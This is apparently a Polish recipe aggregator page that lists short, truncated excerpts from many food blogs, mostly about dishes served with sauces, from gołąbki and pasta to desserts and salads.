wrzątku dodać do papryki. 5. Na patelni usmażyć mięso doprawione solą, pieprze oraz delikatem. Dodać do papryki. 6. Do farszu dodać odsączoną kukurydzę. 7. Gotować do prawie całkowitego odparowania sosu, doprawić solą oraz pieprzem. Dodać fasolę.Gotować przez ok. 3-5 min. 8. W dużej misce zmiksować jajka, olej, szczyptę soli, pieprzu, cukru oraz olej. 9. Dodawać stopniowo mleko, wodę

A Ty Smakuj Mnie
Gołąbki z kaszą gryczaną 158

kapustą ( zapobiegnie to przypaleniu się gołąbków), zalać wodą ( najlepiej tą od odparzania kapusty ) i gotować na wolnym ogniu do momentu aż kapusta będzie miękka. Gołąbki te najlepiej podawać z sosem grzybowym

A Ty Smakuj Mnie
Sajgonki I 129

2.Ogórki pokroić w słupki. 3. Pojedyncze arkusze papieru zamoczyć na chwilkę w wodzie. Nałożyć farsz i zawinąć sajgonki. 4. Sajgonki smażyć w głębokim tłuszczu. ( Sajgonki można podać z sosem chili, czosnkowym lub innym ulubionym

A Ty Smakuj Mnie
Spaghetti 153

miękka dodać rozrobiony w niewielkiej ilości wody koncentrat i ketchup. Dodać do pomidorów. 6. Całość doprawić solą, pieprzem oraz bazylia. 7. Ugotować makaron, nałożyć porcje na talerz i polać sosem

A Ty Smakuj Mnie
Makaron z sosem truskawkowo-jagodowym 165

przebrać, umyć, dodać do truskawek. 3. Do owoców dodać cukier, cukier waniliowy oraz jogurt naturalny. 4. Całość zmiksować. 5. Ugotować makaron. 6. Ugotowany i przelany zimną wodą makaron polać sosem

A Ty Smakuj Mnie
Kurczak na marchewce 134

przykryć i wstawić do piekarnika rozgrzanego do 200 st. C (opcja  "góra-dół" ). Piec do miękkości mięsa (40-60 min.), a następnie ściągnąć przykrywkę naczynia, mięso polać powstałym sosem i ponownie wstawić do piekarnika (opcja "góra") aby skórka się zapiekła

A Ty Smakuj Mnie
Placuszki z serem i pieczarkami 211

Pierś pokroić w kostkę. 4. Cebulę obrać i drobno pokroić. 5. Wszystkie składniki dokładnie połączyć i doprawić solą oraz pieprzem. 6. Smażyć jak placki ziemniaczane. 7. Podawać z sosem czosnkowym

A Ty Smakuj Mnie
Pieczarkowe pulpeciki w jasnym sosie 202

Składniki: 50 dag mięsa mielonego 15 dag pieczarek + 10 dag do sosu 1 bułka 2 cebule 1 marchewka 1 korzeń pietruszki mały kawałek selera 1 kostka rosołowa 3 ziarna ziela angielskiego 2 liście laurowe 2 łyżki kwaśnej śmietany 18% 1 łyżka mąki 1 jajko mąka do obtaczania sól, pieprz 1 łyżka posiekanego kopru (świeży lub mrożony) Sposób przygotowania

A Ty Smakuj Mnie
Sałatka à la grecka 308

miseczki miąższ, mieszamy go z oliwą z oliwek i posiekanymi ziołami. Do większej miski przekładamy makaron, dodajemy połówki pomidorków koktajlowych, oliwki oraz cebulę pokrojoną w krążki lub piórka. Wlewamy sos i wszystko razem mieszamy. Na samym końcu dodajemy pokrojoną w kostkę fetę i ewentualnie doprawiamy do smaku solą i pieprzem.   Smacznego

bistro mama
Tagliatelle z krewetkami, suszonymi pomidorami, polane sosem serowym Gorgonzola 281

Świeży makaron Tagliatelle, krewetki, do tego suszone pomidory, natka pietruszki i sos Gorgonzola to idealna propozycja na obiad każdego dnia :) Czytaj więcej

Ana Mari's world
Pieczeń chwała południa 212

bułką, cebulą, czosnkiem, musztardą, keczupem oraz przyprawami. 5. Keksówkę wyłożyć papierem do pieczenia, wyłożyć mięso, wierzch posmarować keczupem. Piec w 190C ok 1 godziny. Podawać na ciepło z sosem pomidorowym lub na zimno jako przystawkę - wtedy należy przygotować ją dzień wcześniej i wstawić na całą noc do lodówki aby dobrze stężała. Mojemu mężowi najbardziej smakuje pokrojona w grube plastry

Kto ugości moich gości?
Kasza gryczana z pieczarkami i oliwkami 252

Przygotowanie: Na oliwie obsmażamy plasterki czosnku i pieczarek, dodajemy tymianek i czerwoną paprykę w proszku. Gdy pieczarki będą już miękkie dodajemy ocet balsamiczny, a gdy odpruje i powstanie gęsty sos doprawiamy do smaku i podajemy z kaszą gryczaną

Moja smaczna kuchnia
Tarte tatin 232

połowę cukru. Czekamy aż cukier się rozpuści, zbrązowieje i zacznie delikatnie bulgotać. Wtedy wrzucamy jabłka i smażymy około 15 minut obracając co jakiś czas. Mają oblepić się karmelem, a sos ma zgęstnieć.  Ciasto francuskie ma mieć kształt koła, a jego promień ma być ok. 2cm większy od promienia naczynia, w którym będziemy piec tartę (2cm większe z każdej strony

W kuchni wieczorem
ZWIJAM WARZYWA 218

cytryny, aby podkręcić nieco smak warzyw. Po usmażeniu przestudzić i zmiksować na dość gładką pastę. Gotowy farsz rozsmarować na naleśnikach. Można podawać od razu. Ja zapiekałam je z odrobiną sosu pomidorowego i żółtym serem. Smacznego

KUCHARNIA
DZIECKO W DOMU, CZYLI RYŻ Z JABŁKAMI 266

cytryny. Naczynie żaroodporne wysmarować masłem, przełożyć do niego masę ryżową. Na górę dodać piórka pozostałego masła. Zapiekać ok. 20-25 minut w temperaturze 170 stopni. Można podać z sosem waniliowym. Smacznego

KUCHARNIA
KREM KOKOSOWY Z RABARBAREM 174

momentu zagotowania, ok. 2-3 min. (nie gotować za długo, aby rabarbar zachował kształt i nie rozpadł się). Ostudzić.  Przed podaniem na każdy z kremów nałożyć sos rabarbarowy. Smacznego

KUCHARNIA
WĘDZONY, PIECZONY, CIEPŁY, ZIMNY 197

łososia pokroić na mniejsze kawałki i razem z koperkiem dodać do śmietany. Wymieszać. Naczynia żaroodporne wysmarować oliwą. Piekarnik rozgrzać do temperatury 190 stopni. Przestudzony makaron dodać do miski z sosem i dokładnie wymieszać. Przełożyć do miseczek, na wierzchu posypać startym żółtym serem. Zapiekać ok. 20-30 minut. Gotowe można skropić cytryną (wręcz wskazane:). Smakuje doskonale zarówno na ciepło

KUCHARNIA
Na upał. Słodkie wspomnienia. Podróż w czasie. Semifreddo. 216

pokruszone bezy. Masę przelać do miseczek (ja przelałam do formy keksowej). Zamrozić.  Po ok. 2-3 godzinach deser nadaje się do jedzenia. Można podawać z pokruszonymi bezikami i/lub sosem malinowym. Ja dorosłym podałam z ajerkoniakiem.  P.S. Jakiś czas temu Tysiaczek z blogu domowesmaczki zaprosiła mnie do zabawy w 10 zdjęcie - dziękuję! Z dość sporym opóźnieniem, za co przepraszam

KUCHARNIA
Polski król. Ali Baba. I co z tego wyrosło. Czyli słodka historia pewnej baby. Savarin. 182

zimno i na ciepło. W przypadku podawania jej na zimno otwór babki wypełnia się bitą śmietaną i wiśniami, ugotowanymi w słodkim syropie. Savarin na ciepło podaje się z gorącym sosem owocowym (morelowym, porzeczkowym, truskawkowym), aromatyzowanym likierem. Otwór w tym przypadku wypełnia się owocami, ugotowanymi w syropie. Ciasto podstawowe przygotowuje się zazwyczaj dzień wcześniej, w następnym dniu jest ono wypełniane

KUCHARNIA
Jedna z dziesięciu. Ricotta. 173

mogą się piec w tym samym czasie.  Po upieczeniu ricottę pokroić na porcje i podawać razem z upieczonymi pomidorami. Świetnym dodatkiem jest też świeża bagietka maczana w cudownym sosie, jaki powstał podczas pieczenia pomidorów. Smacznego! A teraz kolejne trudne zadanie - zaproszenie kolejnych 10 blogów do zabawy. Dziesięć to tak mało! Blogów, które lubię, ba uwielbiam, jest tak dużo... Zatem

KUCHARNIA
Skąpany złotem. Creme caramel. Kawowy. 159

godzinę.  Schłodzony krem przełożyć na talerze -  wyjmując z foremek można lekko okroić ostrym nożem wokół brzegów foremek i ostrożne wyłożyć na talerz - karmel spłynie i utworzy cudowny sos.  * przepis pochodzi z książki  The Best of Sainsbury's Desserts

KUCHARNIA
Historia pewnej królowej i jabłka w filo. 192

kostki masła, wrzucić cząstki jabłek, posypać cukrem waniliowym, cukrem (ilość zależy od słodkości jabłek i Waszych preferencji) i oprószyć cynamonem. Dusić przez ok. 10 minut, aż powstanie lekko karmelowy sos, a jabłka delikatnie zmiękną. Zdjąć z ognia.  Pozostałe masło stopić w garnuszku. Arkusze ciasta filo smarować kolejno stopionym masłem i kłaść jeden na drugim. Tak przygotowanym ciastem wyłożyć okrągłą

KUCHARNIA
Bania, harbuzem zwana i pranie blondyn 187

inną propozycje na każdy dzień roku! Gdybym tylko zdołała się odpowiednio przygotować, dziś miałabym do wyboru taki oto zestaw: "26 październik:  Zupa grzybowa - Szczupak ze zrazowym sosem - Pierożki z powidłami - Ryby smażone lub polędwica z sałatą czerwoną - Blamanż czekoladowy Rosół z makaronem - Sztuka mięsa z chrzanem - Polędwica, sałata kartoflana" Szalenie podoba mi się słowa blamanż , choć musiałam się wesprzeć

KUCHARNIA
Mus - nie mus... ? Chocolate Chantilly, Hervé This. 161

Opracował idealną temperaturę gotowana jajka (65 C, przy której ścina się białko ale nie żółtko), obliczył, że można wyprodukować 24 litry majonezu przy użyciu tylko jednego żółtka, w sosie Bearnaise zamienił masło na stopioną czekoladę. Pokazał, że z jednego białka, jest w stanie ubić metr sześcienny piany, dodając 27 litrów wody... Najbardziej znany jest ze swojego eksperymentu "odgotowania jajka

KUCHARNIA
W marcu jak w ... Casserole. I niezbędna uwaga. 195

plasterki dwie duże marchewki. Grzanki wysmarowałam oliwą i posypałam suszonymi ziołami, a później posypałam także tartym parmezanem.  Casserole jedliśmy razem z kuskus - bardzo pasował, zwłaszcza razem z sosem, jaki powstał podczas przygotowania casserole . Pyszne, pożywne i zdrowe danie - bardzo Wam polecam! * cytat pochodzi z książki Kuchania Koszerna, Rebekka Wolf, wyd. TENTEN - dziękuję Monice za Hamantaschen, bo to dzięki naszemu

KUCHARNIA
O miotle, gadżetach i kwadratach. Lemon bars. 213

mioteł, gdybym tak teraz stosowała ten sposób!  Czuję dyskomfort, gdy nie mam w domu cytryny. Zawsze kupują więcej i robię zapas. Cytryna musi być - do herbaty, ciasta drożdżowego, sosu, zupy, ryb, sałatki, czarnej kawy  przeciw migrenie, no i oczywiście przeciw gorączce. Nie wiem czy znacie ten sposób.  Moja Babcia zawsze kroiła cytrynę w plastry i okładała nimi

KUCHARNIA
Constans. Dolce e salata. Brownie z solonym karmelem i pistacjami. 208

mały ogień i mieszać do momentu, aż cukier się nie rozpuści. Po zdjęciu z ognia dodać masło i dokładne połączyć z resztą. Dodać sól morską i dobrze wymieszać. Początkowo sos jest dość rzadki, jednak w miarę stygnięcia gęstnieje, a po kilkugodzinnym pobycie w lodówce staje się naprawdę bardzo gęsty .    * cytat z książki Marleny de Blasi Tysiąc

KUCHARNIA
Czy kucharz ma być grzeczny? Bruschetta z bobem. 190

świeżego bobu cudownie kontrastuje ze słoną bryndzą, wędzonym aromatem szynki i słodyczą pomidorów.  Kromki pieczywa grillujemy lub opiekamy w tosterze. Na chrupiące grzanki nakładamy sałatkę z bobem, polewamy sosem z oliwy i octu. Zjadamy popijając dobrym winem, słuchając dobrej muzyki lub czytając dobrą książkę - co kto woli, przecież przyjemność nie podlega żadnej definicji;) * Marco Pierre White, ze wstępu

KUCHARNIA
Co Wam mogę podarować? Słone krople i fenkuł. Rustic fennel pizza. 208

wycieraniem. Łzy. Wzruszenia. Radości.  I odruch, którego nie da się powstrzymać, bo przebiegła cebula jest bezlitośnie nieugięta. Cebula.  Od niej niemal wszystko się zaczyna. Zupa. Potrawka. Sos. Całe kuchenne przedstawienie. Taki rytuał - ostry nóż i strumień łez.  Jak inicjacja, początek. Potem wszystko się zmieni.  Cebula złagodnieje. Łzy obeschną.  I przyjdzie pora niewidzialnego. Subtelnie rosnącego

KUCHARNIA
TU I TAM nr 14. Owoc, który stał się warzywem i ser, który zamienia sie w lody. 194

obłożonego plastrami pomidora? Kto nie kocha ponad wszystko domowej zupy pomidorowej swojej Mamy? Kto jest w stanie przejść obojętnie obok chrupiącej bruschetty , sałatki caprese czy dobrego makaronu z sosem ze świeżych pomidorów? Kto w upalny dzień nie skusi się na porcję rześkiego gazpacho ? Kogo nie ucieszy słoik konfitury z zielonych pomidorów czekającej na towarzystwo świeżego croissanta czy domowej drożdżówki

KUCHARNIA
TU I TAM nr 19. Pasta nie jedno ma imię. Pappardelle e maltagliati. List o szczęściu. 210

rozwałkowaniu nie mogłam się oprzeć wrażeniu, że ciasto przypomina piękny arkusz papieru czerpanego ... Chciałam, żeby pasta była najważniejsza, a dodatki jedynie podkreślały jej wyjątkowość. Dlatego zrezygnowałam z przygotowania sosu.  Grube wstążki pappardelle podałam z oliwą zmieszaną z łyżką czosnkowego confit ( przepis tu - klik ), posypałam kaparami, świeżo startą skórką z cytryny oraz odrobiną parmezanu. Cudowne, rześkie, uzależniające! Płaty maltagliati skropiłam

KUCHARNIA
Jeśli spotkacie Kiwaczka.... Arbuz z patelni. 206

delikatnie oliwą i ułożyć na niej zamarynowane wcześniej plastry arbuza. Trzymać po 3-4 minuty na każdej stronie. Arbuz tylko nieznacznie zmieni kolor. Przełożyć na talerz, polać resztką sosu z patelni. Pokroić na mniejsze kawałki. * przepis na takie podanie arbuza pochodzi z tej strony - klik  **zdjęcie straganu, na którym kupiony został pokazany tu arbuz autorstwa

KUCHARNIA
Inne czasy. Kres lata o smaku śliwek. Na słodko i na słono. 181

koniec dodać miód i zdjąć z ognia. Lekko przestudzić i posolić.  Upieczoną wcześniej tartę wyłożyć kozim twarożkiem i ułożyć na nim kawałki skarmelizowanych śliwek. Polać z wierzchu resztą sosu, jaki pozostał na patelni. Można dodatkowo udekorować chutneyem śliwkowym (przepis tu - klik). Na koniec posypać z wierzchu rozmarynem.    *inspiracją był przepis znaleziony tu - klik .  TARTA ŚLIWKOWA

KUCHARNIA
Na jeżyny! TU I TAM nr 26 w trzech odsłonach - creme caramel, crostini i galaretka. 178

lodówki). Schłodzony krem przełożyć na talerze -  wyjmując z foremek można lekko okroić ostrym nożem wokół brzegów foremek i ostrożne wyłożyć na talerz - karmel spłynie i utworzy cudowny sos.  * przepis na jezynowy creme caramel pochodzi z tej strony - klik ; inspiracją do pasty jeżynowej były grzanki z jeżynowym masłem podpatrzone na tej stronie - klik ;  Bardzo dziękuję za wyróżnienie

KUCHARNIA
Kierunek - Azja. Mantou. Chińskie trufle i Lo. Para buch! 210

użyłam siekanych pistacji, a drugą część ciasta przeznaczyłam na mantou bez dodatków, gotowanych w formie pączków róż. Obie smakowały cudownie. Można je zjadać same lub z dodatkiem słodkich sosów i konfitur. Dziękuję Lo , że usłyszała moje marzenie i zechciała je spełnić.  To marzenie było szansą na zrobienie czegoś wyjątkowego.  Dziękuję za wyjątkowy, pełen magii dzień

KUCHARNIA
Skrajności i wiosenna łąka. Odwrócone ciasto z matcha i czerwonymi pomarańczami. 192

jest upieczone.  Po wyjęciu z piekarnika ciasto chwilę przestudzić, a następnie wyłożyć "do góry nogami" na talerz lub paterę.  Oryginalny przepis proponuje podanie ciasta z lekko waniliowym sosem budyniowym - nie przepadam za nim, więc polałam ciasto domowym likierem jajecznym - pycha!  * przepis znaleziony na tej stronie - klik  ** cytat znaleziony na pięknym blogu Now and Agai n prowadzonym

KUCHARNIA
Pójdziesz ze mną na łąkę? Nazbieramy poziomek, opowiem Ci o.... Panna cotta z dzikiego bzu z poziomkowym coulis 163

mnie trwało to 1,5 h).  POZIOMKOWY COULIS szklanka poziomek kilka truskawek syrop z dzikiego bzu - do smaku Poziomki i truskawki zmiksować razem. Przetrzeć przez sito i powstały sos doprawić do smaku syropem z dzikiego bzu. Jeśli całość jest za słodka, można dodać kilka kropel cytryny

KUCHARNIA
Pęczak i pomarańcze. Poezja. 230

czasie, gdy się gotuje przygotować vinaigrette. Szalotkę drobno pokroić, a czosnek przecisnąć przez praskę. Wszystkie składniki vinaigrette przełożyć do słoika, zamknąć i energicznie wymieszać, aby połączyły się w jednolity sos - będzie go więcej niż trzeba, ale jest tak pyszny, że na pewno zostanie zużyty do innych potraw, sałatek (w zamkniętym pojemniku można przechowywać go w lodówce).   Ugotowany pęczak

KUCHARNIA
Miłosne wspomnienia i szczypta kobiecości 211

być i oczywiście gotować! Głodni?  A zatem podaję menu - polecam oczywiście wszystko, ale ciekawa jestem, którą potrawę Wy chcielibyście zamówić:) 1. Pieczony bakłażan z czosnkiem,  granatem i sosem jogurtowym 2. Krem malinowo-buraczany z miętą 3. Risotto milanese 4. Szafranowo-kardamonowa panna cotta z pistacjowym krokantem i karmelizowanym mango 5. Koktajl miłości „Love potion” 6. Pieczone gruszki

KUCHARNIA
Ziarnko do ziarnka. Granola w kawałkach. 207

kwas linolenowy z grupy omega-3, pozostałą część stanowi kwas linolowy z grupy omega-6. witamina E (tokoferol) - 63mg/100g Doskonale nadaje się do smażenia, pieczenia oraz przygotowywania sosów i dressingów do sałatek. Olej Beskidzki Spółki Bielmar jest dostępny w butelkach o pojemności: 0,5l, 1l, 3l i 5l. Więcej informacji na stronie producenta: http://www.bielmar.pl/produkt/olej-beskidzki-2/

KUCHARNIA
Inspiracje - Akademia Smaku Siemens. Wygraj zaproszenie na czekoladowe warsztaty. 243

piersi z kurczaka owinięte pancettą i nadziewane szpinakiem i serem mozzarella, yakitoru z łososia z sałatką z owoców południowych (mój absolutny faworyt) oraz orzechowe bezy z kremem kawowym i sosem z owoców leśnych.  Było pięknie, słonecznie, niezwykle smacznie i co najważniejsze bardzo inspirująco. Wróciłam z głową pełną pomysłów, które teraz z chęcią wykorzystuję oraz z równie inspirującymi podarunkami, które

KUCHARNIA
Chleb polski. I historia zakwasu. 175

wieków piecze się tu chleb. Chleb wciąż jest tu podawany w najróżniejszych postaciach - nawet czerstwy. Świeże kromki są podstawą każdego obiadu i kolacji; wyciera się nimi z talerza resztki sosu z makaronu i soków warzywnych, co Włosi nazywają fare la scarpetta - "robieniem małego buta". * Historia chleba nigdy się nie kończy... Jestem pewna, że jest jeszcze to coś, tajemnicze, magiczne "coś

KUCHARNIA
Kulinarna majówka. Wspomnień czar. 179

wykonania Uczestników Suflet rabarbarowy z imbirem MENU NIEDZIELA Zielone smoothie ze szpinakiem Zupa krem malinowo-buraczana z pistacjami, miodem i jogurtem greckim Gnocchi z rukoli z pieczonymi szparagami, maślanym sosem czosnkowym i jajkiem w koszulce Chleb z garnka z suszonymi pomidorami Galette z truskawkami, kremem z octu balsamicznego i lodami bazyliowymi w asyście syropu z mięty i ogórka Co mogę

KUCHARNIA
Sycylijskie klimaty per l'amore della pasta. Penne ze szparagami i mascarpone 197

Włocha może być inaczej?) Sycylijczyka - Andrea Scarantino , szefa kuchni w restauracji Mamma Marietta .  Pod okiem Andrea przygotowaliśmy spaghetti z polędwicą cielęcą, świeżymi pomidorami i bazylią oraz penne w sosie szparagowym (mój faworyt - przepis poniżej). Oczywiście nie mogło się obyć bez deseru, którym był krem na bazie mascarpone z owocami leśnymi. Andrea nie tylko opowiadał ciekawie o kuchni sycylijskiej

KUCHARNIA
Przecieram oczy ... Kurki, groszek, cukinia czyli trzy razy tarta 198

kolejne 15-20 minut. Tarta jest gotowa kiedy masa się zetnie i zacznie leciutko rumienić. Pyszna zarówno na ciepło, jak i na zimno. Idealna na piknik. Można podawać z sosem grzybowym lub podsmażonymi lekko na maśle kurkami

KUCHARNIA
Prezenty i wspomnienia - relacja ze świątecznych warsztatów kulinarnych... 252

Czekoladowe medaliony. 3. Sezamowe tiule / Słodko-słone orzeszki. 4. Słoneczny cukier puder. 5. Wytrawne biscotti z kolorowym pieprzem. 6. Trufle z zieloną herbatą 7. Aromatyczna mieszanka Chai Tea. 8. Sos karmelowy do deserów (z solą morską). 9. Krem daktylowo-korzenny 10. Prażony cukier kokosowy. 11. Bazyliowy syrop do deserów / Sok imbirowy 12. Rozpustne ciasto czekoladowe w słoiku. Jak widzicie jedynym

KUCHARNIA
Pasta szprotkowa 216

przygotowania. Składniki: mała puszka wędzonych szprotek (użyłam szprotek w pomidorach) mała cebula - opcjonalnie 3 serki topione lub 6 trójkątów szczypiorek sól,pieprz Wykonannie: zmiksować serki ze szprotkami wyłowionymi z sosu,sokiem cytrynowym i drobniutko posiekana cebulką oraz pieprzem na gładka jednolitą masę wymieszać ze szczypiorkiem i lekko schłodzić przed podaniem

Gotuj zdrowo!Guten Appetit!
Sałatka z krewetkami. 192

smażyć ciągle mieszając około 2 minuty. Na półmisku ułożyć opłukaną i osuszoną sałatę oraz  pomidory pokrojone w ćwiartki. Wyłożyć krewetki z patelni, a następnie wszystko polać maślanym sosem, który powstał w czasie smażenia

O kuchni z uczuciem
Kotlety z kaszy jaglanej - zdrowe i dietetyczne 1417

wyobrażam sobie obiadu bez kawałka mięsa, więc te kotlety traktuję jak dodatek do niego niż główną część. ;-) Podane z sosem, np. pieczarkowym są jeszcze smaczniejsze. Kasza jaglana to bardzo wartościowe źródło witamin i mikroelementów. Przepis zalegał w zeszycie od dawna, aż w końcu się zdecydowałam. Postanowiłam wprowadzać ją do swojej kuchni również w wersji na słono, nie tylko na słodkie

Szefowa kuchni
Japońska sałatka z ogórka 544

składniki * 1 długi ogórek szklarniowy * 1/4 szklanki octu ryżowego * 1 łyżeczka oleju sezamowego * 1 łyżeczka cukru * 1/4-1/2 łyżeczki soli *  1 łyżka sosu sojowego * kilka ziarenek rozgniecionego w moździerzu pieprzu czerwonego * po 1/2 łyżeczki sezamu białego i czarnego sposób wykonania Ogórka umyć, bardzo cienko poszatkować lub pokroić np przy pomocy obieraczki do warzyw. Bardzo delikatnie odcisnąć sok. Składniki zalewy połączyć

Mix smaku
Penne Carbonara 474

czosnek. Smażymy do zeszklenia. Wlewamy śmietanę, gotujemy, mieszając, przez około 5 minut. Dodajemy roztrzepane żółtka, doprawiamy solą i pieprzem. Wrzucamy jeszcze ciepły makaron. Przesmażamy cały czas mieszając, aż sos zgęstnieje, a makaron będzie nim oblepiony. Przekładamy na głębokie talerze i posypujemy tartym parmezanem. Podajemy od razu. Smacznego

My Culinary Art
Churros 233

ściągamy papier, przewracamy na drugą stronę i smażymy na złoto.  Drugi sposób powoduje, że mamy większy wpływ na uformowanie pożądanych kształtów. Gotowe przekąski oprószamy cukrem pudrem. Podajemy z sosem czekoladowym lub innym ulubionym, np. toffi, truskawkowym lub nawet z Nutellą. Moje posty

Słodka Strona
Placki gryczane z awokado 137

Rozgrzewamy lekko natłuszczoną patelnię. Smażymy małe placuszki (1 łyżeczka = 1 placuszek) po kilka minut z każdej strony. Gotowe placki przekładamy na talerz, podajemy z dowolnymi dodatkami np. jogurtem, owocami sosami

Kuchenny Skrawek Nieba
Surówka z pory i jabłka 184

zmiękł. Jabłka obieramy, kroimy w cieniutkie talarki, skrapiamy cytryną. Wszystkie składniki łączymy z sobą dodajemy, śmietanę oraz jogurt. Mieszamy razem dodajemy sok z limonki, cukier, imbir oraz żurawinę polewamy sosem surówkę delikatnie mieszamy. Smacznego

kgwjanczewo
kubba 183

kształt pyzy.. - usmażyć z obu stron na gorącej oliwie przez 2-3 minuty na złoty kolor. Pychota! Bardzo sycące, więc można do nich podać tylko sałatkę.lub sos jogurtowy z czosnkiem... Smacznego

w mojej kuchni
ajvar sos 161

Sos ten ma wszechstronne zastosowanie: nadaje się jako dodatek na kanapki, do pieczonych i grillowanych mięs i warzyw i czego jeszcze dusza zapragnie ;) ----AJVAR ------ 3kg czerwonej papryki, 1 duży bakłażan, 1 duża cebula, 3 ząbki czosnku, 2 dojrzałe pomidory, 2 łyżki oliwy, 2 łyżki octu balsamico, sól i pieprz, ewentualnie chili w proszku Cebulę obrać, papryki i bakłażana umyć. Wszystko

w mojej kuchni
pieczone gołąbki z pieczarkami,ryżem i z kurczakiem 227

pieczone gołąbki z pieczarkami,ryżem i z kurczakiem 2 piersi z kurczaka koło 500 g pieczarek średnia cebula 2 torebki ryżu przyprawy ,pieprz, sól 1 główka kapusty Do sosu : 1 koperek - u mnie ze slłoika dzialkowy, zasolony świeży. 1 puszka pomidorów krojonych 3 łyżki koncentratu pomidorowego-swojego z cukini 2 ząbki czosnku 1,5 litr bulionu Sól, pieprz, zioła prowansalskie

w mojej kuchni
gołąbki ziemniaczane 163

łyżki farszu (w zależności od wielkości liścia). Zawijac jak gołąbki mięsne Gotowe gołąbki układać ciasno w garnku.Polac bulionem i dusić około 40 minut pod przykryciem . uwagi: Można podawać z sosem grzybowym lub pomidorowym. Gołąbki nie przywrą do dna rondla, kiedy na dnie umieścimy liście kapusty. Do nadzienia można dodac nieco startego żółtego sera.Przepis wzorowany na przepisie Gessler.SMACZNEGO

w mojej kuchni
paluchy serowo maślane 181

roladki  masla i pietruszki i tu je wykorzystałam-posypujemy startym serem -u mnie parmezan- ,tniemy paski i składamy na pół i skrecomy... .Gotowe,Smacznego...ja je jem z sosem salsa

w mojej kuchni
AJVAR 215

Sos ten ma wszechstronne zastosowanie: nadaje się jako dodatek na kanapki, do pieczonych i grillowanych mięs i warzyw i czego jeszcze dusza zapragnie ;) ----AJVAR ------ 3kg czerwonej papryki, 1 duży bakłażan, 1 duża cebula, 3 ząbki czosnku, 2 dojrzałe pomidory, 2 łyżki oliwy, 2 łyżki octu balsamico, sól i pieprz, ewentualnie chili w proszku Cebulę obrać, papryki i bakłażana umyć. Wszystko

w mojej kuchni
kubba 258

kształt pyzy.. - usmażyć z obu stron na gorącej oliwie przez 2-3 minuty na złoty kolor. Pychota! Bardzo sycące, więc można do nich podać tylko sałatkę.lub sos jogurtowy z czosnkiem... Smacznego

w mojej kuchni
GOŁĄBKI Z JAJKIEM 165

wegety lub kucharka zawinąć i zalać 1 litrem wrzącej wody z 1 łyżką kucharka. Smażyć w piekarniku 1 ½ godz. w 200 C      Do gołąbków sos kurkowy

w mojej kuchni
Szynka w sosie własnym 175

cebulę i drobno posiekany czosnek.Zeszkloną cebulkę i czosnek łączymy z mięsem.Zalewamy wodą Dodajemy ziele angielskie, liść laurowy i pieprz w ziarenkach. Dusimy do miękkości . Jeśli pod koniec sos jest za rzadki, to dodajemy mąkę wymieszana z wodą , a jeśli za gęsty to delikatnie podlewamy wodą

w mojej kuchni
Baba ziemniaczana z sosem 170

ziemniaków i powoli mieszamy. Całość wlewamy do wysmarowanego tłuszczem naczynia ,spryskujemy wierz olejem i do pieca w temp 180 do zarumienienia  :)--na okolo 1-1,5 godz. SOS do babki                                            biały ser wymieszać  z joguretem/ smietana

w mojej kuchni
Cukinia nadziewana mięsem 178

myjemy, kroimy wzdłuż na pół. Ze środka przy pomocy łyżeczki usuwamy gniazda nasienne Posiekany miąższ ze środka można dodać do nadzienia.Mielone mięso mieszamy  z odrobiną soli, cukru, sosu sojowego, siekanej cebuli i pieprzu. Napełnić wydrążone cukinie farszem, spryskać  wierzch  olejem .  Układamy na blasze wyłożonej papierem do pieczenia. Wkładamy do piekarnika i zapiekamy przez

w mojej kuchni
GOLONECZKI INDYCZE...W WARZYWACH 180

kroimy je w talarki. Warzywa układamy na sitku od garnka-na parze- i wszystko razem dusimy . Kiedy mięso będzie miękkie, wyjmujemy je . Mąkę mieszamy ze śmietaną i wlewamy do sosu powstałego przy duszeniu mięsa i warzyw.. Zagotowujemy, przyprawiamy do smaku solą i pieprzem i ziolami.Wkładamy mięso i posypujemy posiekaną natką pietruszki

w mojej kuchni
WIOSNA WIOSNA ,ACH TO TY -SAŁATKA 166

Wlać 4-6 łyżek oliwy i mieszać do czasu, aż składniki się połączą. Dodać  łyżkę  lub więcej posiekanej świeżej kolendry. Wszystkie składniki sałatki połączyć w salaterce, polać sosem i delikatnie przemieszać. Odstawić na 20 minut

w mojej kuchni
SALATKA WIOSENNA 263

pieprz przygotowanie: Rzodkiewki i ogórka dokładnie umyć .Warzywa pokroić w plasterki .Szczypiorek i koperek siekamy drobno. Oliwę z oliwek mieszamy z sokiem z cytryny, cukrem, solą i pieprzem. Sos dodajemy  do warzyw, mieszam i podajemy.Smacznego

w mojej kuchni
Placuszki ogórkowe z mąki z bobu 162

Sos czosnkowy SKŁADNIKI:   1-2 łyżeczki  soku z cytryny             1 łyżeczka cukru trzcinowego 1 opakowanie jogurtu naturalnego  2-3  łyżki  majonezu sól pęczek szczypiorku posiekanego pieprz do smaku sól środki czosnku zielonego do smaku -kilka sztuk.ps.środki zielone czosnku to zielone w czosnku to kiełkujący pęd

w mojej kuchni
Chicken breast with zucchini - Pierś z kurczaka z cukinią 168

umyć i  pokroić  w  plasterki Umyta i pokrojoną cukinie  posolić i popieprzyć .Tak przygotowaną cukinie smażyć   na oliwie.Do piersi dodać cukinie .Mięsko polać sosem porzeczkowo-chrzanowym.Gotowe

w mojej kuchni
SALATKA Z JAJEK 353

połówki jajek pokroić na drobne  kawałki .Pozostałe dwa żółtka ,rozetrzeć z żółtkiem surowym i olejem .Dodać sok z cytryny ,sół i pieprz do smaku.Pokrojone jajka ,polac powstałym sosem ,posypać zielenina .Gotowe

w mojej kuchni
Łosoś z makaronem w białym sosie 204

około 10–15 minut. Na koniec dodajemy wyciśnięta cytrynę i przyprawy w tym dużo pieprzu. Gotujemy  dalej na wolnym ogniu do momentu powstania sosu.Ugotowany makaron ,zalewamy powstałym sosem z kawałkami łososia. Dekorujemy posiekana cebulką .Smacznego

w mojej kuchni
FILET W WARZYWACH I KASZA JAGLANA 192

Inulina jest dobrym zagęstnikiem do zup czy sosów (w miejsce tradycyjnej białej mąki). Po roztarciu z olejem i dowolnymi dodatkami otrzymujemy słodką pastę, którą możemy posmarować naleśniki, wafle lub pieczywo. Sprawdza się ona także jako składnik ciasta, dodając smakuróżnym domowym wypiekom - dzięki niej zyskują na teksturze i trwałości, a kruche ciastka na chrupkości. Inulinę możemy również dodać do wszelkiego rodzaju

w mojej kuchni
CUKINIA Z MOZZARELLA---Zucchine con MOZZARELLA 174

